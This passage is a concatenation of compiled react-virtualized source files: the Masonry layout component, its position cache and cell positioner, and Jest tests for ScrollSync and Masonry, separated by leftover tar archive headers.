  }]);
  return GridExample;
}(React.PureComponent);

exports["default"] = GridExample;

function hexToRgb(hex) {
  var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
  return result ? {
    r: parseInt(result[1], 16),
    g: parseInt(result[2], 16),
    b: parseInt(result[3], 16)
  } : null;
}
/**
 * Ported from sass implementation in C
 * https://github.com/sass/libsass/blob/0e6b4a2850092356aa3ece07c6b249f0221caced/functions.cpp#L209
 */


function mixColors(color1, color2, amount) {
  var weight1 = amount;
  var weight2 = 1 - amount;
  var r = Math.round(weight1 * color1.r + weight2 * color2.r);
  var g = Math.round(weight1 * color1.g + weight2 * color2.g);
  var b = Math.round(weight1 * color1.b + weight2 * color2.b);
  return {
    r: r,
    g: g,
    b: b
  };
}commonjs/ScrollSync/ScrollSync.jest.js000064400000006314151677406000014073 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _TestUtils = require("../TestUtils");

var _ScrollSync = _interopRequireDefault(require("./ScrollSync"));

function ChildComponent(_ref) {
  var clientHeight = _ref.clientHeight,
      clientWidth = _ref.clientWidth,
      scrollHeight = _ref.scrollHeight,
      scrollLeft = _ref.scrollLeft,
      scrollTop = _ref.scrollTop,
      scrollWidth = _ref.scrollWidth;
  return React.createElement("div", null, "clientHeight:".concat(clientHeight), "clientWidth:".concat(clientWidth), "scrollHeight:".concat(scrollHeight), "scrollLeft:".concat(scrollLeft), "scrollTop:".concat(scrollTop), "scrollWidth:".concat(scrollWidth));
}

describe('ScrollSync', function () {
  it('should pass through an initial value of 0 for :scrollLeft and :scrollTop', function () {
    var component = (0, _TestUtils.render)(React.createElement(_ScrollSync["default"], null, function (_ref2) {
      var clientHeight = _ref2.clientHeight,
          clientWidth = _ref2.clientWidth,
          scrollHeight = _ref2.scrollHeight,
          scrollLeft = _ref2.scrollLeft,
          scrollTop = _ref2.scrollTop,
          scrollWidth = _ref2.scrollWidth;
      return React.createElement(ChildComponent, {
        clientHeight: clientHeight,
        clientWidth: clientWidth,
        scrollHeight: scrollHeight,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        scrollWidth: scrollWidth
      });
    }));
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('clientHeight:0');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('clientWidth:0');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('scrollHeight:0');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('scrollLeft:0');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('scrollTop:0');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('scrollWidth:0');
  });
  it('should update :scrollLeft and :scrollTop when :onScroll is called', function () {
    var onScroll;
    var component = (0, _TestUtils.render)(React.createElement(_ScrollSync["default"], null, function (params) {
      onScroll = params.onScroll;
      return React.createElement(ChildComponent, params);
    }));
    onScroll({
      clientHeight: 400,
      clientWidth: 200,
      scrollHeight: 1000,
      scrollLeft: 50,
      scrollTop: 100,
      scrollWidth: 500
    });
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('clientHeight:400');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('clientWidth:200');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('scrollHeight:1000');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('scrollLeft:50');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('scrollTop:100');
    expect((0, _reactDom.findDOMNode)(component).textContent).toContain('scrollWidth:500');
  });
});commonjs/Masonry/Masonry.js000064400000051122151677406000012016 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.bpfrpt_proptype_Positioner = exports.bpfrpt_proptype_CellMeasurerCache = exports["default"] = exports.DEFAULT_SCROLLING_RESET_TIME_INTERVAL = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _clsx = _interopRequireDefault(require("clsx"));

var React = _interopRequireWildcard(require("react"));

var _reactLifecyclesCompat = require("react-lifecycles-compat");

var _PositionCache = _interopRequireDefault(require("./PositionCache"));

var _requestAnimationTimeout = require("../utils/requestAnimationTimeout");

var _propTypes = _interopRequireDefault(require("prop-types"));

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var emptyObject = {};
/**
 * Specifies the number of miliseconds during which to disable pointer events while a scroll is in progress.
 * This improves performance and makes scrolling smoother.
 */

var DEFAULT_SCROLLING_RESET_TIME_INTERVAL = 150;
/**
 * This component efficiently displays arbitrarily positioned cells using windowing techniques.
 * Cell position is determined by an injected `cellPositioner` property.
 * Windowing is vertical; this component does not support horizontal scrolling.
 *
 * Rendering occurs in two phases:
 * 1) First pass uses estimated cell sizes (provided by the cache) to determine how many cells to measure in a batch.
 *    Batch size is chosen using a fast, naive layout algorithm that stacks images in order until the viewport has been filled.
 *    After measurement is complete (componentDidMount or componentDidUpdate) this component evaluates positioned cells
 *    in order to determine if another measurement pass is required (eg if actual cell sizes were less than estimated sizes).
 *    All measurements are permanently cached (keyed by `keyMapper`) for performance purposes.
 * 2) Second pass uses the external `cellPositioner` to layout cells.
 *    At this time the positioner has access to cached size measurements for all cells.
 *    The positions it returns are cached by Masonry for fast access later.
 *    Phase one is repeated if the user scrolls beyond the current layout's bounds.
 *    If the layout is invalidated due to eg a resize, cached positions can be cleared using `recomputeCellPositions()`.
 *
 * Animation constraints:
 *   Simple animations are supported (eg translate/slide into place on initial reveal).
 *   More complex animations are not (eg flying from one position to another on resize).
 *
 * Layout constraints:
 *   This component supports multi-column layout.
 *   The height of each item may vary.
 *   The width of each item must not exceed the width of the column it is "in".
 *   The left position of all items within a column must align.
 *   (Items may not span multiple columns.)
 */

exports.DEFAULT_SCROLLING_RESET_TIME_INTERVAL = DEFAULT_SCROLLING_RESET_TIME_INTERVAL;
var Masonry = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(Masonry, _React$PureComponent);

  function Masonry() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, Masonry);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(Masonry)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "state", {
      isScrolling: false,
      scrollTop: 0
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_debounceResetIsScrollingId", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_invalidateOnUpdateStartIndex", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_invalidateOnUpdateStopIndex", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_positionCache", new _PositionCache["default"]());
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_startIndex", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_startIndexMemoized", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_stopIndex", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_stopIndexMemoized", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_debounceResetIsScrollingCallback", function () {
      _this.setState({
        isScrolling: false
      });
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_setScrollingContainerRef", function (ref) {
      _this._scrollingContainer = ref;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScroll", function (event) {
      var height = _this.props.height;
      var eventScrollTop = event.currentTarget.scrollTop; // When this component is shrunk drastically, React dispatches a series of back-to-back scroll events,
      // Gradually converging on a scrollTop that is within the bounds of the new, smaller height.
      // This causes a series of rapid renders that is slow for long lists.
      // We can avoid that by doing some simple bounds checking to ensure that scroll offsets never exceed their bounds.

      var scrollTop = Math.min(Math.max(0, _this._getEstimatedTotalHeight() - height), eventScrollTop); // On iOS, we can arrive at negative offsets by swiping past the start or end.
      // Avoid re-rendering in this case as it can cause problems; see #532 for more.

      if (eventScrollTop !== scrollTop) {
        return;
      } // Prevent pointer events from interrupting a smooth scroll


      _this._debounceResetIsScrolling(); // Certain devices (like Apple touchpad) rapid-fire duplicate events.
      // Don't force a re-render if this is the case.
      // The mouse may move faster then the animation frame does.
      // Use requestAnimationFrame to avoid over-updating.


      if (_this.state.scrollTop !== scrollTop) {
        _this.setState({
          isScrolling: true,
          scrollTop: scrollTop
        });
      }
    });
    return _this;
  }

  (0, _createClass2["default"])(Masonry, [{
    key: "clearCellPositions",
    value: function clearCellPositions() {
      this._positionCache = new _PositionCache["default"]();
      this.forceUpdate();
    } // HACK This method signature was intended for Grid

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender(_ref) {
      var index = _ref.rowIndex;

      if (this._invalidateOnUpdateStartIndex === null) {
        this._invalidateOnUpdateStartIndex = index;
        this._invalidateOnUpdateStopIndex = index;
      } else {
        this._invalidateOnUpdateStartIndex = Math.min(this._invalidateOnUpdateStartIndex, index);
        this._invalidateOnUpdateStopIndex = Math.max(this._invalidateOnUpdateStopIndex, index);
      }
    }
  }, {
    key: "recomputeCellPositions",
    value: function recomputeCellPositions() {
      var stopIndex = this._positionCache.count - 1;
      this._positionCache = new _PositionCache["default"]();

      this._populatePositionCache(0, stopIndex);

      this.forceUpdate();
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      this._checkInvalidateOnUpdate();

      this._invokeOnScrollCallback();

      this._invokeOnCellsRenderedCallback();
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps, prevState) {
      this._checkInvalidateOnUpdate();

      this._invokeOnScrollCallback();

      this._invokeOnCellsRenderedCallback();

      if (this.props.scrollTop !== prevProps.scrollTop) {
        this._debounceResetIsScrolling();
      }
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      if (this._debounceResetIsScrollingId) {
        (0, _requestAnimationTimeout.cancelAnimationTimeout)(this._debounceResetIsScrollingId);
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$props = this.props,
          autoHeight = _this$props.autoHeight,
          cellCount = _this$props.cellCount,
          cellMeasurerCache = _this$props.cellMeasurerCache,
          cellRenderer = _this$props.cellRenderer,
          className = _this$props.className,
          height = _this$props.height,
          id = _this$props.id,
          keyMapper = _this$props.keyMapper,
          overscanByPixels = _this$props.overscanByPixels,
          role = _this$props.role,
          style = _this$props.style,
          tabIndex = _this$props.tabIndex,
          width = _this$props.width,
          rowDirection = _this$props.rowDirection;
      var _this$state = this.state,
          isScrolling = _this$state.isScrolling,
          scrollTop = _this$state.scrollTop;
      var children = [];

      var estimateTotalHeight = this._getEstimatedTotalHeight();

      var shortestColumnSize = this._positionCache.shortestColumnSize;
      var measuredCellCount = this._positionCache.count;
      var startIndex = 0;
      var stopIndex;

      this._positionCache.range(Math.max(0, scrollTop - overscanByPixels), height + overscanByPixels * 2, function (index, left, top) {
        var _style;

        if (typeof stopIndex === 'undefined') {
          startIndex = index;
          stopIndex = index;
        } else {
          startIndex = Math.min(startIndex, index);
          stopIndex = Math.max(stopIndex, index);
        }

        children.push(cellRenderer({
          index: index,
          isScrolling: isScrolling,
          key: keyMapper(index),
          parent: _this2,
          style: (_style = {
            height: cellMeasurerCache.getHeight(index)
          }, (0, _defineProperty2["default"])(_style, rowDirection === 'ltr' ? 'left' : 'right', left), (0, _defineProperty2["default"])(_style, "position", 'absolute'), (0, _defineProperty2["default"])(_style, "top", top), (0, _defineProperty2["default"])(_style, "width", cellMeasurerCache.getWidth(index)), _style)
        }));
      }); // We need to measure additional cells for this layout


      if (shortestColumnSize < scrollTop + height + overscanByPixels && measuredCellCount < cellCount) {
        var batchSize = Math.min(cellCount - measuredCellCount, Math.ceil((scrollTop + height + overscanByPixels - shortestColumnSize) / cellMeasurerCache.defaultHeight * width / cellMeasurerCache.defaultWidth));

        for (var _index = measuredCellCount; _index < measuredCellCount + batchSize; _index++) {
          stopIndex = _index;
          children.push(cellRenderer({
            index: _index,
            isScrolling: isScrolling,
            key: keyMapper(_index),
            parent: this,
            style: {
              width: cellMeasurerCache.getWidth(_index)
            }
          }));
        }
      }

      this._startIndex = startIndex;
      this._stopIndex = stopIndex;
      return React.createElement("div", {
        ref: this._setScrollingContainerRef,
        "aria-label": this.props['aria-label'],
        className: (0, _clsx["default"])('ReactVirtualized__Masonry', className),
        id: id,
        onScroll: this._onScroll,
        role: role,
        style: _objectSpread({
          boxSizing: 'border-box',
          direction: 'ltr',
          height: autoHeight ? 'auto' : height,
          overflowX: 'hidden',
          overflowY: estimateTotalHeight < height ? 'hidden' : 'auto',
          position: 'relative',
          width: width,
          WebkitOverflowScrolling: 'touch',
          willChange: 'transform'
        }, style),
        tabIndex: tabIndex
      }, React.createElement("div", {
        className: "ReactVirtualized__Masonry__innerScrollContainer",
        style: {
          width: '100%',
          height: estimateTotalHeight,
          maxWidth: '100%',
          maxHeight: estimateTotalHeight,
          overflow: 'hidden',
          pointerEvents: isScrolling ? 'none' : '',
          position: 'relative'
        }
      }, children));
    }
  }, {
    key: "_checkInvalidateOnUpdate",
    value: function _checkInvalidateOnUpdate() {
      if (typeof this._invalidateOnUpdateStartIndex === 'number') {
        var startIndex = this._invalidateOnUpdateStartIndex;
        var stopIndex = this._invalidateOnUpdateStopIndex;
        this._invalidateOnUpdateStartIndex = null;
        this._invalidateOnUpdateStopIndex = null; // Query external layout logic for position of newly-measured cells

        this._populatePositionCache(startIndex, stopIndex);

        this.forceUpdate();
      }
    }
  }, {
    key: "_debounceResetIsScrolling",
    value: function _debounceResetIsScrolling() {
      var scrollingResetTimeInterval = this.props.scrollingResetTimeInterval;

      if (this._debounceResetIsScrollingId) {
        (0, _requestAnimationTimeout.cancelAnimationTimeout)(this._debounceResetIsScrollingId);
      }

      this._debounceResetIsScrollingId = (0, _requestAnimationTimeout.requestAnimationTimeout)(this._debounceResetIsScrollingCallback, scrollingResetTimeInterval);
    }
  }, {
    key: "_getEstimatedTotalHeight",
    value: function _getEstimatedTotalHeight() {
      var _this$props2 = this.props,
          cellCount = _this$props2.cellCount,
          cellMeasurerCache = _this$props2.cellMeasurerCache,
          width = _this$props2.width;
      var estimatedColumnCount = Math.max(1, Math.floor(width / cellMeasurerCache.defaultWidth));
      return this._positionCache.estimateTotalHeight(cellCount, estimatedColumnCount, cellMeasurerCache.defaultHeight);
    }
  }, {
    key: "_invokeOnScrollCallback",
    value: function _invokeOnScrollCallback() {
      var _this$props3 = this.props,
          height = _this$props3.height,
          onScroll = _this$props3.onScroll;
      var scrollTop = this.state.scrollTop;

      if (this._onScrollMemoized !== scrollTop) {
        onScroll({
          clientHeight: height,
          scrollHeight: this._getEstimatedTotalHeight(),
          scrollTop: scrollTop
        });
        this._onScrollMemoized = scrollTop;
      }
    }
  }, {
    key: "_invokeOnCellsRenderedCallback",
    value: function _invokeOnCellsRenderedCallback() {
      if (this._startIndexMemoized !== this._startIndex || this._stopIndexMemoized !== this._stopIndex) {
        var onCellsRendered = this.props.onCellsRendered;
        onCellsRendered({
          startIndex: this._startIndex,
          stopIndex: this._stopIndex
        });
        this._startIndexMemoized = this._startIndex;
        this._stopIndexMemoized = this._stopIndex;
      }
    }
  }, {
    key: "_populatePositionCache",
    value: function _populatePositionCache(startIndex, stopIndex) {
      var _this$props4 = this.props,
          cellMeasurerCache = _this$props4.cellMeasurerCache,
          cellPositioner = _this$props4.cellPositioner;

      for (var _index2 = startIndex; _index2 <= stopIndex; _index2++) {
        var _cellPositioner = cellPositioner(_index2),
            left = _cellPositioner.left,
            top = _cellPositioner.top;

        this._positionCache.setPosition(_index2, left, top, cellMeasurerCache.getHeight(_index2));
      }
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      if (nextProps.scrollTop !== undefined && prevState.scrollTop !== nextProps.scrollTop) {
        return {
          isScrolling: true,
          scrollTop: nextProps.scrollTop
        };
      }

      return null;
    }
  }]);
  return Masonry;
}(React.PureComponent), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "autoHeight": _propTypes["default"].bool.isRequired,
  "cellCount": _propTypes["default"].number.isRequired,
  "cellMeasurerCache": function cellMeasurerCache() {
    return (typeof CellMeasurerCache === "function" ? _propTypes["default"].instanceOf(CellMeasurerCache).isRequired : _propTypes["default"].any.isRequired).apply(this, arguments);
  },
  "cellPositioner": function cellPositioner() {
    return (typeof Positioner === "function" ? _propTypes["default"].instanceOf(Positioner).isRequired : _propTypes["default"].any.isRequired).apply(this, arguments);
  },
  "cellRenderer": function cellRenderer() {
    return (typeof CellRenderer === "function" ? _propTypes["default"].instanceOf(CellRenderer).isRequired : _propTypes["default"].any.isRequired).apply(this, arguments);
  },
  "className": _propTypes["default"].string,
  "height": _propTypes["default"].number.isRequired,
  "id": _propTypes["default"].string,
  "keyMapper": function keyMapper() {
    return (typeof KeyMapper === "function" ? _propTypes["default"].instanceOf(KeyMapper).isRequired : _propTypes["default"].any.isRequired).apply(this, arguments);
  },
  "onCellsRendered": function onCellsRendered() {
    return (typeof OnCellsRenderedCallback === "function" ? _propTypes["default"].instanceOf(OnCellsRenderedCallback) : _propTypes["default"].any).apply(this, arguments);
  },
  "onScroll": function onScroll() {
    return (typeof OnScrollCallback === "function" ? _propTypes["default"].instanceOf(OnScrollCallback) : _propTypes["default"].any).apply(this, arguments);
  },
  "overscanByPixels": _propTypes["default"].number.isRequired,
  "role": _propTypes["default"].string.isRequired,
  "scrollingResetTimeInterval": _propTypes["default"].number.isRequired,
  "style": function style(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  },
  "tabIndex": _propTypes["default"].number.isRequired,
  "width": _propTypes["default"].number.isRequired,
  "rowDirection": _propTypes["default"].string.isRequired,
  "scrollTop": _propTypes["default"].number
}), _temp);
(0, _defineProperty2["default"])(Masonry, "defaultProps", {
  autoHeight: false,
  keyMapper: identity,
  onCellsRendered: noop,
  onScroll: noop,
  overscanByPixels: 20,
  role: 'grid',
  scrollingResetTimeInterval: DEFAULT_SCROLLING_RESET_TIME_INTERVAL,
  style: emptyObject,
  tabIndex: 0,
  rowDirection: 'ltr'
});

function identity(value) {
  return value;
}

function noop() {}

var bpfrpt_proptype_CellMeasurerCache = process.env.NODE_ENV === 'production' ? null : {
  "defaultHeight": _propTypes["default"].number.isRequired,
  "defaultWidth": _propTypes["default"].number.isRequired,
  "getHeight": _propTypes["default"].func.isRequired,
  "getWidth": _propTypes["default"].func.isRequired
};
exports.bpfrpt_proptype_CellMeasurerCache = bpfrpt_proptype_CellMeasurerCache;
(0, _reactLifecyclesCompat.polyfill)(Masonry);
var _default = Masonry;
exports["default"] = _default;
var bpfrpt_proptype_Positioner = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].func;
exports.bpfrpt_proptype_Positioner = bpfrpt_proptype_Positioner;commonjs/Masonry/createCellPositioner.js000064400000002654151677406000014513 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = createCellPositioner;

var _Masonry = require("./Masonry");

function createCellPositioner(_ref) {
  var cellMeasurerCache = _ref.cellMeasurerCache,
      columnCount = _ref.columnCount,
      columnWidth = _ref.columnWidth,
      _ref$spacer = _ref.spacer,
      spacer = _ref$spacer === void 0 ? 0 : _ref$spacer;
  var columnHeights;
  initOrResetDerivedValues();

  function cellPositioner(index) {
    // Find the shortest column and use it.
    var columnIndex = 0;

    for (var i = 1; i < columnHeights.length; i++) {
      if (columnHeights[i] < columnHeights[columnIndex]) {
        columnIndex = i;
      }
    }

    var left = columnIndex * (columnWidth + spacer);
    var top = columnHeights[columnIndex] || 0;
    columnHeights[columnIndex] = top + cellMeasurerCache.getHeight(index) + spacer;
    return {
      left: left,
      top: top
    };
  }

  function initOrResetDerivedValues() {
    // Track the height of each column.
    // Layout algorithm below always inserts into the shortest column.
    columnHeights = [];

    for (var i = 0; i < columnCount; i++) {
      columnHeights[i] = 0;
    }
  }

  function reset(params) {
    columnCount = params.columnCount;
    columnWidth = params.columnWidth;
    spacer = params.spacer;
    initOrResetDerivedValues();
  }

  cellPositioner.reset = reset;
  return cellPositioner;
}commonjs/Masonry/PositionCache.js000064400000006266151677406000013127 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _slicedToArray2 = _interopRequireDefault(require("@babel/runtime/helpers/slicedToArray"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _intervalTree = _interopRequireDefault(require("../vendor/intervalTree"));

// Position cache requirements:
//   O(log(n)) lookup of cells to render for a given viewport size
//   O(1) lookup of shortest measured column (so we know when to enter phase 1)
var PositionCache =
/*#__PURE__*/
function () {
  function PositionCache() {
    (0, _classCallCheck2["default"])(this, PositionCache);
    (0, _defineProperty2["default"])(this, "_columnSizeMap", {});
    (0, _defineProperty2["default"])(this, "_intervalTree", (0, _intervalTree["default"])());
    (0, _defineProperty2["default"])(this, "_leftMap", {});
  }

  (0, _createClass2["default"])(PositionCache, [{
    key: "estimateTotalHeight",
    value: function estimateTotalHeight(cellCount, columnCount, defaultCellHeight) {
      var unmeasuredCellCount = cellCount - this.count;
      return this.tallestColumnSize + Math.ceil(unmeasuredCellCount / columnCount) * defaultCellHeight;
    } // Render all cells visible within the viewport range defined.

  }, {
    key: "range",
    value: function range(scrollTop, clientHeight, renderCallback) {
      var _this = this;

      this._intervalTree.queryInterval(scrollTop, scrollTop + clientHeight, function (_ref) {
        var _ref2 = (0, _slicedToArray2["default"])(_ref, 3),
            top = _ref2[0],
            _ = _ref2[1],
            index = _ref2[2];

        return renderCallback(index, _this._leftMap[index], top);
      });
    }
  }, {
    key: "setPosition",
    value: function setPosition(index, left, top, height) {
      this._intervalTree.insert([top, top + height, index]);

      this._leftMap[index] = left;
      var columnSizeMap = this._columnSizeMap;
      var columnHeight = columnSizeMap[left];

      if (columnHeight === undefined) {
        columnSizeMap[left] = top + height;
      } else {
        columnSizeMap[left] = Math.max(columnHeight, top + height);
      }
    }
  }, {
    key: "count",
    get: function get() {
      return this._intervalTree.count;
    }
  }, {
    key: "shortestColumnSize",
    get: function get() {
      var columnSizeMap = this._columnSizeMap;
      var size = 0;

      for (var i in columnSizeMap) {
        var height = columnSizeMap[i];
        size = size === 0 ? height : Math.min(size, height);
      }

      return size;
    }
  }, {
    key: "tallestColumnSize",
    get: function get() {
      var columnSizeMap = this._columnSizeMap;
      var size = 0;

      for (var i in columnSizeMap) {
        var height = columnSizeMap[i];
        size = Math.max(size, height);
      }

      return size;
    }
  }]);
  return PositionCache;
}();

exports["default"] = PositionCache;commonjs/Masonry/index.js000064400000001267151677406000011502 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "createCellPositioner", {
  enumerable: true,
  get: function get() {
    return _createCellPositioner["default"];
  }
});
Object.defineProperty(exports, "Masonry", {
  enumerable: true,
  get: function get() {
    return _Masonry["default"];
  }
});
exports["default"] = void 0;

var _createCellPositioner = _interopRequireDefault(require("./createCellPositioner"));

var _Masonry = _interopRequireDefault(require("./Masonry"));

var _default = _Masonry["default"];
exports["default"] = _default;commonjs/Masonry/Masonry.jest.js000064400000044250151677406000012766 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _testUtils = require("react-dom/test-utils");

var _TestUtils = require("../TestUtils");

var _createCellPositioner = _interopRequireDefault(require("./createCellPositioner"));

var _Masonry = _interopRequireDefault(require("./Masonry"));

var _CellMeasurer = require("../CellMeasurer");

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var ALTERNATING_CELL_HEIGHTS = [100, 50, 100, 150];
var CELL_SIZE_MULTIPLIER = 50;
var COLUMN_COUNT = 3;

function assertVisibleCells(rendered, text) {
  expect(Array.from(rendered.querySelectorAll('.cell')).map(function (node) {
    return node.textContent;
  }).sort().join(',')).toEqual(text);
}

function createCellMeasurerCache() {
  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
  return new _CellMeasurer.CellMeasurerCache(_objectSpread({
    defaultHeight: CELL_SIZE_MULTIPLIER,
    defaultWidth: CELL_SIZE_MULTIPLIER,
    fixedWidth: true,
    keyMapper: function keyMapper(index) {
      return index;
    }
  }, props));
}

function createCellPositioner(cache) {
  return (0, _createCellPositioner["default"])({
    cellMeasurerCache: cache,
    columnCount: COLUMN_COUNT,
    columnWidth: CELL_SIZE_MULTIPLIER
  });
}

function createCellRenderer(cache, renderCallback) {
  renderCallback = typeof renderCallback === 'function' ? renderCallback : function (index) {
    return index;
  };
  return function cellRenderer(_ref) {
    var index = _ref.index,
        isScrolling = _ref.isScrolling,
        key = _ref.key,
        parent = _ref.parent,
        style = _ref.style;
    var height = ALTERNATING_CELL_HEIGHTS[index % ALTERNATING_CELL_HEIGHTS.length];
    var width = CELL_SIZE_MULTIPLIER;
    return React.createElement(_CellMeasurer.CellMeasurer, {
      cache: cache,
      index: index,
      key: key,
      parent: parent
    }, React.createElement("div", {
      className: "cell",
      ref: function ref(_ref2) {
        if (_ref2) {
          // Accounts for the fact that JSDom doesn't support measurements.
          Object.defineProperty(_ref2, 'offsetHeight', {
            configurable: true,
            value: height
          });
          Object.defineProperty(_ref2, 'offsetWidth', {
            configurable: true,
            value: width
          });
        }
      },
      style: _objectSpread({}, style, {
        minHeight: height,
        minWidth: width
      })
    }, renderCallback(index, {
      index: index,
      isScrolling: isScrolling,
      key: key,
      parent: parent,
      style: style
    })));
  };
}

function getMarkup() {
  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
  var cellMeasurerCache = props.cellMeasurerCache || createCellMeasurerCache();
  return React.createElement(_Masonry["default"], (0, _extends2["default"])({
    cellCount: 1000,
    cellMeasurerCache: cellMeasurerCache,
    cellPositioner: createCellPositioner(cellMeasurerCache),
    cellRenderer: createCellRenderer(cellMeasurerCache),
    columnCount: COLUMN_COUNT,
    height: CELL_SIZE_MULTIPLIER * 2,
    overscanByPixels: CELL_SIZE_MULTIPLIER,
    width: CELL_SIZE_MULTIPLIER * COLUMN_COUNT
  }, props));
}

function simulateScroll(masonry) {
  var scrollTop = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
  var target = {
    scrollTop: scrollTop
  };
  masonry._scrollingContainer = target; // HACK to work around _onScroll target check

  var masonryNode = (0, _reactDom.findDOMNode)(masonry);
  masonryNode.scrollTop = scrollTop;

